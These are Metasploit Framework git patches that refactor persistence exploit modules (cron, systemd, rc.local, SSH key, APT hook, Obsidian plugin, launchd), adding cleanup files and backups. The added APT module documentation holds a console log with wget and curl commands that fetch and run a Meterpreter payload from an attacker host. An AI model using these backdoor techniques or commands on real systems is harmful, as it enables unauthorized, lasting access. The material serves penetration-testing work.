'Session Type' => { + 'Stylers' => [session_type_styler] + } + }, + 'Rows' => rows + ) + end + + def vprint_session_info + vprint_status 'Current Session Info:' + vprint_status " Session Type: #{session.type}" + vprint_status " Architecture: #{session_arch}" + vprint_status " Platform: #{session.platform}" + end + + def is_check_interesting?(checkcode) + [ + Msf::Exploit::CheckCode::Vulnerable, + Msf::Exploit::CheckCode::Appears, + Msf::Exploit::CheckCode::Detected + ].include? checkcode + end + + def print_status(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end + + def print_good(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end + + def print_error(msg = '') + super(session ? "#{session.session_host} - #{msg}" : msg) + end +end From 7058546f05f62b549d122a7996067b6ba86574bf Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 2 Feb 2025 09:56:59 -0500 Subject: [PATCH 52/94] create persistence suggester --- modules/post/multi/recon/persistence_suggester.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/recon/persistence_suggester.rb b/modules/post/multi/recon/persistence_suggester.rb index edaa9828c8bc..7a1a699319b6 100644 --- a/modules/post/multi/recon/persistence_suggester.rb +++ b/modules/post/multi/recon/persistence_suggester.rb @@ -224,7 +224,7 @@ def run begin checkcode = mod[:module].check rescue StandardError => e - elog("#Local Exploit Suggester failed with: #{e.class} when using #{mod[:module].shortname}", error: e) + elog("#Local Persistence Suggester failed with: #{e.class} when using #{mod[:module].shortname}", error: e) vprint_error "Check with module #{mod[:module].fullname} failed with error #{e.class}" next { module: mod[:module], errors: ['The check raised an exception.'] } end From fb8e740819112c2ff5860718ba461f9d5c6e0cf9 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 2 Feb 2025 15:08:41 -0500 Subject: [PATCH 53/94] fixes for persistence checks --- .../windows/persistence/process_exit_debugger.rb | 2 +- modules/exploits/windows/persistence/registry.rb | 15 +++------------ .../exploits/windows/persistence/registry_vbs.rb | 2 +- modules/exploits/windows/persistence/s4u.rb | 2 ++ 4 files changed, 7 insertions(+), 14 deletions(-) diff --git a/modules/exploits/windows/persistence/process_exit_debugger.rb b/modules/exploits/windows/persistence/process_exit_debugger.rb index d2a20d5e7ccc..e2d7dac70edd 100644 --- a/modules/exploits/windows/persistence/process_exit_debugger.rb +++ b/modules/exploits/windows/persistence/process_exit_debugger.rb @@ -68,7 +68,7 @@ def initialize(info = {}) def check path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') - return CheckCode::Safe("Path not writable: #{path}") unless writable?(path) + return CheckCode::Safe("Path doesn't exist: #{path}") unless exists?(path) unless is_system? CheckCode::Safe('You must be System to run this Module') diff --git a/modules/exploits/windows/persistence/registry.rb b/modules/exploits/windows/persistence/registry.rb index 8f04323e8870..2330be00a9cd 100644 --- a/modules/exploits/windows/persistence/registry.rb +++ b/modules/exploits/windows/persistence/registry.rb @@ -66,14 +66,6 @@ def initialize(info = {}) deregister_options('WritableDir') end - def check - # not quite sure what we could check for, maybe registry write and then delete the value? - # if anyone has comments, please let h00die know! - - # maybe Exploit::CheckCode::Unsupported instead since we don't check anything? but if its windows, its vulnerable... - Exploit::CheckCode::Detected('System likely vulnerable') - end - def generate_payload_blob opts = { wrap_double_quotes: true, @@ -183,11 +175,10 @@ def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # T end def check - unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') - return Msf::Exploit::CheckCode::Safe - end + # XXX I think we have a has_powershell? somewhere, if not, maybe this should be moved there + return CheckCode::Safe('Powershell not installed') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell') - return Msf::Exploit::CheckCode::Vulnerable + return CheckCode::Vulnerable end def exploit diff --git a/modules/exploits/windows/persistence/registry_vbs.rb b/modules/exploits/windows/persistence/registry_vbs.rb index f7955ae21808..521ec53dd7a1 100644 --- a/modules/exploits/windows/persistence/registry_vbs.rb +++ b/modules/exploits/windows/persistence/registry_vbs.rb @@ -81,7 +81,7 @@ def initialize(info = {}) def check path = datastore['WritableDir'] || session.sys.config.getenv('TEMP') - return CheckCode::Safe("Path not writable: #{path}") unless writable?(path) + return CheckCode::Safe("Path doesn't exist: #{path}") unless exists?(path) CheckCode::Appears end diff --git a/modules/exploits/windows/persistence/s4u.rb b/modules/exploits/windows/persistence/s4u.rb index 9e6e7f84af69..5cc5c22f20a0 100644 --- a/modules/exploits/windows/persistence/s4u.rb +++ b/modules/exploits/windows/persistence/s4u.rb @@ -91,6 +91,8 @@ def check if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?) return CheckCode::Safe('Advanced options EVENT_LOG and EVENT_ID required for event trigger') end + + CheckCode::Detected('System likely vulnerable') end def exploit From 7d47bee0d2b517b047f2cf508f9f79c2098b8412 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 3 Feb 2025 06:33:13 -0500 Subject: [PATCH 54/94] fix: add cleanup function persistence mixin --- lib/msf/core/exploit/local/persistence.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/local/persistence.rb b/lib/msf/core/exploit/local/persistence.rb index 283cc6ddc5bd..cb170961f2b9 100644 --- a/lib/msf/core/exploit/local/persistence.rb +++ b/lib/msf/core/exploit/local/persistence.rb @@ -66,5 +66,8 @@ def save_cleanup_rc commands: @clean_up_rc }) end + + def cleanup + end end end From 4519ee9acaea0d565c5fdd10b784e0cceae99a8d Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 3 Feb 2025 06:33:48 -0500 Subject: [PATCH 55/94] fix: removed cleanup_persistence function in bash_profile --- modules/exploits/linux/persistence/bash_profile.rb | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/modules/exploits/linux/persistence/bash_profile.rb b/modules/exploits/linux/persistence/bash_profile.rb index 0145ae8b6e2e..517e74d175de 100644 --- a/modules/exploits/linux/persistence/bash_profile.rb +++ b/modules/exploits/linux/persistence/bash_profile.rb @@ -105,17 +105,4 @@ def install_persistence @clean_up_rc << "rm #{backdoor_path}\n" @clean_up_rc << "upload #{backup_profile_path} #{ppath}" end - - def cleanup_persistence - return unless datastore['CleanUpBackupPath'] - - backup_profile_path = datastore['CleanUpBackupPath'] - backup_content = File.open(backup_profile_path, 'rb')&.read - - ppath = profile_path - if backup_content - write_file(ppath, backup_content) - print_status("Restoring #{ppath} using #{backup_profile_path}.") - end - end end From 5deede931707c9123f05a948cf9ca9ddd605fcd5 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 05:49:41 -0500 Subject: [PATCH 56/94] fix: cron persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/cron.rb | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/cron.rb b/modules/exploits/linux/persistence/cron.rb index bd726e1cad23..2d57bcc0ed1f 100644 --- a/modules/exploits/linux/persistence/cron.rb +++ b/modules/exploits/linux/persistence/cron.rb @@ -112,7 +112,7 @@ def user_cron_permission?(user) true end - def exploit + def install_persistence cron_entry = datastore['TIMING'] unless target.name == 'User Crontab' @@ -125,18 +125,35 @@ def exploit our_entry = Rex::Text.rand_text_alpha(8..15) write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") + @clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n" + when 'System Crontab' file_to_clean = target.opts[:path].to_s + crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup') + append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") + @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" + when 'User Crontab' file_to_clean = "#{target.opts[:path]}/#{datastore['USERNAME']}" + + crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup') append_file(file_to_clean, "\n#{cron_entry}\n") vprint_good("Writing #{cron_entry} to #{file_to_clean}") # at least on ubuntu, we need to reload cron to get this to work vprint_status('Reloading cron to pickup new entry') cmd_exec('service cron reload') + @clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n" + end print_good('Payload will be triggered when cron time is reached') end + + def store_crontab_backup(path, desc) + crontab_backup_content = read_file(path) + store_loot("desktop.#{path.split('/').last}", + 'text/plain', session, crontab_backup_content, + path.split('/').last, desc) + end end From 1a74cb40dfff0a883e0eaa4a1260024edd87af1a Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 10:42:07 -0500 Subject: [PATCH 57/94] fix: init_openrc persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/init_openrc.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index bd1fd3c78e86..b25b8327486a 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -102,7 +102,7 @@ def check CheckCode::Safe('Likely not an openrc based system') end - def exploit + def install_persistence backdoor = write_shell(datastore['WritableDir']) if backdoor.nil? return @@ -124,6 +124,8 @@ def write_shell(path) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") write_file(backdoor, payload.encoded) + @clean_up_rc << "rm #{backdoor}\n" + if file_exist?(backdoor) cmd_exec("chmod 711 #{backdoor}") backdoor @@ -150,6 +152,7 @@ def openrc(backdoor_path, backdoor_file) vprint_status("Writing service: #{service_name}") begin upload_and_chmodx(service_name, script) + @clean_up_rc << "rm #{service_name}\n" rescue Rex::Post::Meterpreter::RequestError print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?") end From 8c336f80147a87b97de12d713c5503283945bc06 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 10:53:19 -0500 Subject: [PATCH 58/94] fix: init_systemd persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/init_systemd.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index 4fffc2513bbd..2de7b4bbef7e 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -93,7 +93,7 @@ def check CheckCode::Safe('Likely not a systemd based system') end - def exploit + def install_persistence backdoor = write_shell(datastore['WritableDir']) if backdoor.nil? return @@ -123,6 +123,7 @@ def write_shell(path) cmd_exec("chmod 711 #{backdoor}") backdoor else + @clean_up_rc << "rm #{backdoor}\n" print_error('File not written, check permissions.') return end @@ -150,6 +151,7 @@ def systemd(backdoor_path, backdoor_file) print_error('File not written, check permissions.') return end + @clean_up_rc << "rm #{service_name}" if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("systemctl enable #{service_filename}.service") @@ -183,6 +185,7 @@ def systemd_user(backdoor_path, backdoor_file) vprint_status("Writing service: #{service_name}") write_file(service_name, script) + @clean_up_rc << "rm #{service_name}\n" if !file_exist?(service_name) print_error('File not written, check permissions. Attempting secondary location') @@ -192,11 +195,14 @@ def systemd_user(backdoor_path, backdoor_file) service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" vprint_status("Writing .local service: #{service_name}") write_file(service_name, script) - if !file_exist?(service_name) print_error('File not written, check permissions.') return + else + @clean_up_rc << "rm #{service_name}\n" end + else + @clean_up_rc << "rm #{service_name}\n" end # This was taken from pam_systemd(8) From 68a100818f78309afede64cd88dd41a447d27688 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 11:16:44 -0500 Subject: [PATCH 59/94] fix: init_sysvinit persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/init_sysvinit.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/init_sysvinit.rb b/modules/exploits/linux/persistence/init_sysvinit.rb index de9c1ac0a678..64fab25e5112 100644 --- a/modules/exploits/linux/persistence/init_sysvinit.rb +++ b/modules/exploits/linux/persistence/init_sysvinit.rb @@ -92,7 +92,7 @@ def check CheckCode::Safe('Likely not a System V based system') end - def exploit + def install_persistence backdoor = write_shell(datastore['WritableDir']) if backdoor.nil? print_error('Failed to write shell') @@ -119,6 +119,7 @@ def write_shell(path) cmd_exec("chmod 711 #{backdoor}") backdoor else + @clean_up_rc << "rm #{backdoor}\n" print_error('File not written, check permissions.') return end @@ -230,6 +231,7 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) print_error('File not written, check permissions.') return end + @clean_up_rc << "rm #{service_name}\n" cmd_exec("chmod 755 #{service_name}") print_good('Enabling & starting our service') if has_updatercd From c06e2abe69ee52dc78d0700c22d701749d71422c Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 11:28:09 -0500 Subject: [PATCH 60/94] fix: motd and init_upstart persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/init_upstart.rb | 4 +++- modules/exploits/linux/persistence/motd.rb | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/persistence/init_upstart.rb b/modules/exploits/linux/persistence/init_upstart.rb index 88088ab52ff1..47a21488bc55 100644 --- a/modules/exploits/linux/persistence/init_upstart.rb +++ b/modules/exploits/linux/persistence/init_upstart.rb @@ -88,7 +88,7 @@ def check CheckCode::Safe('Likely not an upstart based system') end - def exploit + def install_persistence backdoor = write_shell(datastore['WritableDir']) if backdoor.nil? return @@ -114,6 +114,7 @@ def write_shell(path) cmd_exec("chmod 711 #{backdoor}") backdoor else + @clean_up_rc << "rm #{backdoor}\n" print_error('File not written, check permissions.') return end @@ -140,6 +141,7 @@ def upstart(backdoor_path, backdoor_file, runlevel) print_error('File not written, check permissions.') return end + @clean_up_rc << "rm #{service_name}" vprint_status('Starting service') cmd_exec("initctl start #{service_filename}") vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") diff --git a/modules/exploits/linux/persistence/motd.rb b/modules/exploits/linux/persistence/motd.rb index c7d6034e5b26..9c8cadaff09e 100644 --- a/modules/exploits/linux/persistence/motd.rb +++ b/modules/exploits/linux/persistence/motd.rb @@ -53,7 +53,7 @@ def check CheckCode::Appears('/etc/update-motd.d/ is writable') end - def exploit + def install_persistence update_path = '/etc/update-motd.d/' backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME']) @@ -63,6 +63,7 @@ def exploit end write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") + @clean_up_rc << "rm #{backdoor_path}\n" chmod(backdoor_path, 0o755) print_status "#{backdoor_path} written" print_good('Payload will be triggered at user login') From b41aa6bead99c3dd0ffadafd4ae21eac4ddee751 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 11:44:37 -0500 Subject: [PATCH 61/94] fix: rc_local persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/rc_local.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/rc_local.rb b/modules/exploits/linux/persistence/rc_local.rb index dbacafad3645..6eff8afa0dd3 100644 --- a/modules/exploits/linux/persistence/rc_local.rb +++ b/modules/exploits/linux/persistence/rc_local.rb @@ -61,7 +61,7 @@ def check CheckCode::Appears('/etc/rc.local is writable') end - def exploit + def install_persistence rc_path = '/etc/rc.local' print_status "Reading #{rc_path}" @@ -79,6 +79,7 @@ def exploit print_status "Patching #{rc_path}" write_file(rc_path, rc_local) + @clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n" print_good('Payload will be triggered at next reboot') end end From d7b55e7f880c9e12d006670d37343358eed4ce23 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:17:22 -0500 Subject: [PATCH 62/94] fix: sshkey persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/sshkey.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/sshkey.rb b/modules/exploits/linux/persistence/sshkey.rb index 0204ea171bbe..d951b4e8f858 100644 --- a/modules/exploits/linux/persistence/sshkey.rb +++ b/modules/exploits/linux/persistence/sshkey.rb @@ -74,7 +74,7 @@ def check CheckCode::Unknown('Pubkey Authentication status unknown') end - def run + def install_persistence if session.type == 'meterpreter' sep = session.fs.file.separator else @@ -116,6 +116,7 @@ def run print_status("Creating #{p} folder") mkdir(p) + @clean_up_rc << "rm #{p}\n" cmd_exec("chmod 700 #{p}") end end @@ -140,8 +141,12 @@ def write_key(paths, auth_key_file, sep) paths.each do |path| path.chomp! authorized_keys = "#{path}/#{auth_key_file}" + authorized_keys_content = read_file(authorized_keys) + authorized_keys_backup = store_loot("desktop.#{authorized_keys.split('/').last}", 'text/plain', session, authorized_keys_content, 'auth key file', 'Authorized SSH Key File Backup') + print_status("Backup of #{authorized_keys} saved in #{authorized_keys_backup}") print_status("Adding key to #{authorized_keys}") append_file(authorized_keys, "\n#{our_pub_key}") + @clean_up_rc << "upload #{authorized_keys_backup} #{authorized_keys}\n" vprint_good('Key Added') next unless datastore['PUBKEY'].nil? From b9141fc91dba401e37c1f17baf86d1cb95dc2d61 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:17:54 -0500 Subject: [PATCH 63/94] fix: fix missing newline cleanup on init_systemd --- modules/exploits/linux/persistence/init_systemd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/init_systemd.rb b/modules/exploits/linux/persistence/init_systemd.rb index 2de7b4bbef7e..aa0a23e104a3 100644 --- a/modules/exploits/linux/persistence/init_systemd.rb +++ b/modules/exploits/linux/persistence/init_systemd.rb @@ -151,7 +151,7 @@ def systemd(backdoor_path, backdoor_file) print_error('File not written, check permissions.') return end - @clean_up_rc << "rm #{service_name}" + @clean_up_rc << "rm #{service_name}\n" if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("systemctl enable #{service_filename}.service") From 9ceb60de750e0274e14768267a058c8211d1c154 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:39:17 -0500 Subject: [PATCH 64/94] fix: yum_package_manager persistence with new mixin and cleanup rc file --- modules/exploits/linux/persistence/yum_package_manager.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb index 9670860203c0..e7c6d7f9b800 100644 --- a/modules/exploits/linux/persistence/yum_package_manager.rb +++ b/modules/exploits/linux/persistence/yum_package_manager.rb @@ -105,7 +105,7 @@ def check CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable') end - def exploit + def install_persistence plugin = datastore['PLUGIN'] full_plugin_path = "#{datastore['PluginPath']}#{plugin}" # plugins are made in python and generate pycs on successful execution @@ -134,6 +134,7 @@ def exploit else write_file(backdoor_path, generate_payload_exe) end + @clean_up_rc << "rm #{backdoor_path}\n" unless exist? backdoor_path fail_with Failure::Unknown, "Failed to write #{backdoor_path}" end From 0762a1332e39477667e4377ddb3adff6da7ef865 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:41:13 -0500 Subject: [PATCH 65/94] fix: obsidian persistence with new mixin and cleanup rc file --- modules/exploits/multi/persistence/obsidian_plugin.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/persistence/obsidian_plugin.rb b/modules/exploits/multi/persistence/obsidian_plugin.rb index 2a0d9772cf40..1814485319b9 100644 --- a/modules/exploits/multi/persistence/obsidian_plugin.rb +++ b/modules/exploits/multi/persistence/obsidian_plugin.rb @@ -214,7 +214,7 @@ def check CheckCode::Safe('No vaults found') end - def exploit + def install_persistence plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults @@ -230,9 +230,11 @@ def exploit end vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) + @clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n" + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) - + @clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n" # read in the enabled community plugins, and add ours to the enabled list if file?("#{vault['path']}/.obsidian/community-plugins.json") plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") @@ -241,6 +243,7 @@ def exploit vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) print_good("Config file saved in: #{path}") + @clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n" rescue JSON::ParserError plugins = [] end From c07e28f8020e958dea92593f690b62875b8db791 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:42:04 -0500 Subject: [PATCH 66/94] fix: launch_plist persistence with new mixin and cleanup rc file --- modules/exploits/osx/persistence/launch_plist.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/osx/persistence/launch_plist.rb b/modules/exploits/osx/persistence/launch_plist.rb index 59417331cb80..a7a9f76bfa70 100644 --- a/modules/exploits/osx/persistence/launch_plist.rb +++ b/modules/exploits/osx/persistence/launch_plist.rb @@ -80,7 +80,7 @@ def check CheckCode::Appears("#{folder} is writable") end - def exploit + def install_persistence check_for_duplicate_entry if target['Arch'] == ARCH_PYTHON @@ -131,6 +131,7 @@ def add_launchctl_item if write_file(plist_path, item) print_good("LaunchAgent added: #{plist_path}") + @clean_up_rc << "rm #{plist_path}\n" else fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}") end @@ -197,6 +198,7 @@ def write_backdoor(exe) if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") cmd_exec("chmod +x #{backdoor_path.shellescape}") + @clean_up_rc << "rm #{backdoor_path}\n" else fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}") end From 7db3160e7127bdfc05d7a6defb9a85143f11e933 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 4 Feb 2025 12:42:48 -0500 Subject: [PATCH 67/94] fix: at persistence with new mixin and cleanup rc file --- modules/exploits/unix/persistence/at.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/persistence/at.rb b/modules/exploits/unix/persistence/at.rb index 78acdc0f7821..490f464db7b8 100644 --- a/modules/exploits/unix/persistence/at.rb +++ b/modules/exploits/unix/persistence/at.rb @@ -64,9 +64,9 @@ def check CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny') end - def exploit + def install_persistence write_file(payload_file, payload.encoded) - register_files_for_cleanup(payload_file) + @clean_up_rc << "rm #{payload_file}\n" cmd_exec("chmod 700 #{payload_file}") cmd_exec("at -f #{payload_file} #{datastore['TIME']}") From 6589d78f7b14fc6b387e4b3fe4546a4bf1032d5e Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Feb 2025 20:08:40 -0500 Subject: [PATCH 68/94] working on autostart --- .../linux/persistence/apt_package_manager.md | 150 ++++++++++++++++++ .../persistence/{linux => }/autostart.md | 0 .../persistence/{linux => }/bash_profile.md | 0 .../linux/persistence/{linux => }/cron.md | 0 .../persistence/linux/apt_package_manager.md | 66 -------- .../linux/persistence/{linux => }/motd.md | 0 .../linux/persistence/{linux => }/rc_local.md | 0 .../linux/persistence/{linux => }/sshkey.md | 0 .../{linux => }/yum_package_manager.md | 0 lib/msf/core/post/linux/user.rb | 21 +++ .../linux/persistence/apt_package_manager.rb | 5 +- .../exploits/linux/persistence/autostart.rb | 79 ++++++--- .../linux/persistence/bash_profile.rb | 1 + 13 files changed, 232 insertions(+), 90 deletions(-) create mode 100644 documentation/modules/exploit/linux/persistence/apt_package_manager.md rename documentation/modules/exploit/linux/persistence/{linux => }/autostart.md (100%) rename documentation/modules/exploit/linux/persistence/{linux => }/bash_profile.md (100%) rename documentation/modules/exploit/linux/persistence/{linux => }/cron.md (100%) delete mode 100644 documentation/modules/exploit/linux/persistence/linux/apt_package_manager.md rename documentation/modules/exploit/linux/persistence/{linux => }/motd.md (100%) rename documentation/modules/exploit/linux/persistence/{linux => }/rc_local.md (100%) rename documentation/modules/exploit/linux/persistence/{linux => }/sshkey.md (100%) rename documentation/modules/exploit/linux/persistence/{linux => }/yum_package_manager.md (100%) create mode 100644 lib/msf/core/post/linux/user.rb diff --git a/documentation/modules/exploit/linux/persistence/apt_package_manager.md b/documentation/modules/exploit/linux/persistence/apt_package_manager.md new file mode 100644 index 000000000000..c699a50c7e99 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/apt_package_manager.md @@ -0,0 +1,150 @@ +## Description + +This module will run a payload when the apt package manager is used. +This module creates a pre-invoke hook for APT in `apt.conf.d`. +The hook name syntax is numeric followed by text. + +Verified on Ubuntu 22.04 + +## Verification Steps + +1. Exploit a box that uses APT +2. Obtain root persmissions, or enough permissions to edit the `apt.conf.d` folder +3. `use exploit/linux/persistence/apt_package_manager` +4. `set SESSION ` +5. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed +6. `exploit` + +When the system runs `apt-get update` the payload will launch. + +## Options + +**BACKDOOR_NAME** + +Name of backdoor executable. Defaults to a random name + +**HOOKNAME** + +Name of pre-invoke hook to be installed in `/etc/apt/apt.conf.d/`. Pre-invoke hook name syntax is numeric followed by text. + +**WritableDir** + +Writable directory for backdoor. Default is (`/tmp/`) + +## Scenarios + +### Tested on Ubuntu 22.04 + +Initial access vector via web delivery + +``` +$ ./msfconsole -q +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Z73D1DUW --no-check-certificate http://111.111.1.111:8181/l; chmod +x Z73D1DUW; ./Z73D1DUW& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:51076) at 2025-02-04 17:40:52 -0500 +sessions -l + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/linux root @ 222.222.2.22 111.111.1.111:4545 -> 222.222.2.22:51076 (222.222.2.22) +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/apt_package_manager +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > check +[*] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get. +[msf](Jobs:1 Agents:1) exploit(linux/persistence/apt_package_manager) > exploit +[*] Command to run on remote host: curl -so ./xTOLdQoOTv http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xTOLdQoOTv;./xTOLdQoOTv& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get. +[*] Attempting to write hook: +[*] Wrote /etc/apt/apt.conf.d/76skoGqswo +[*] Backdoor uploaded /tmp/erNOJV96u +[+] Backdoor will run on next APT update +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/222.222.2.22_20250204.4245/222.222.2.22_20250204.4245.rc + +[msf](Jobs:2 Agents:1) exploit(linux/persistence/apt_package_manager) > jobs + +Jobs +==== + + Id Name Payload Payload opts + -- ---- ------- ------------ + 0 Exploit: multi/script/web_delivery linux/x64/meterpreter/reverse_tcp tcp://111.111.1.111:4545 + 1 Exploit: linux/persistence/apt_package_manager 